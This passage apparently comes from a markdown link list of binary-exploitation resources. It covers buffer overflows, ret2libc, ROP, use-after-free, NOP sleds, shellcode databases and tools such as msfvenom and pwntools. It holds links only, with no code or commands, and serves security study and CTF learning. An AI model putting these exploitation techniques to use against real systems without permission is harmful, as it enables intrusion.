- [0x00 sec](https://0x00sec.org/search?q=stack%20overflow)
- [Black Hat - Difference between BOF preventions and weaknesses](https://www.blackhat.com/presentations/bh-usa-04/bh-us-04-silberman/bh-us-04-silberman-paper.pdf)
- [Exploit Mitigation Techniques - DEP](https://0x00sec.org/t/exploit-mitigation-techniques-data-execution-prevention-dep/4634)
- [Shellblade ret2libc](http://shellblade.net/docs/ret2libc.pdf)
- [x64 ROP](https://0x00sec.org/t/64-bit-rop-you-rule-em-all/1937)
- [UAF heap overflow](https://0x00sec.org/t/heap-exploitation-abusing-use-after-free/3580)
- [NOP sled](https://www.exploit-db.com/papers/13171/)

## Tools

- [GEF - GDB Enhanced Features](https://github.com/hugsy/gef/)
- [SMAP - Shellcode Mapper](https://github.com/rootlabs/smap/)
- [Radare2](https://github.com/radare/radare2/)
- [Cutter - Radare2 QT GUI](https://github.com/radareorg/cutter)
- [MSFvenom](https://www.offensive-security.com/metasploit-unleashed/msfvenom/)
- [pwntools](https://github.com/Gallopsled/pwntools)
- [Unicorn - CPU emulator](http://www.unicorn-engine.org/)

## Cheatsheets

- [Memory Segmentation](https://i.imgur.com/Xe1m6C3.png)
- [Reverse Engineering](https://i.imgur.com/ewrWkEa.png)
- [radare2](https://github.com/radare/radare2/blob/master/doc/intro.md)

## Other

- [Shellcode Database](http://shell-storm.org/shellcode/)
- [GDB documentation](https://sourceware.org/gdb/current/onlinedocs/gdb/)
- [GEF documentation](http://gef.readthedocs.io/en/master/)
- [Linux 32bit syscalls](http://asm.sourceforge.net/syscall.html)


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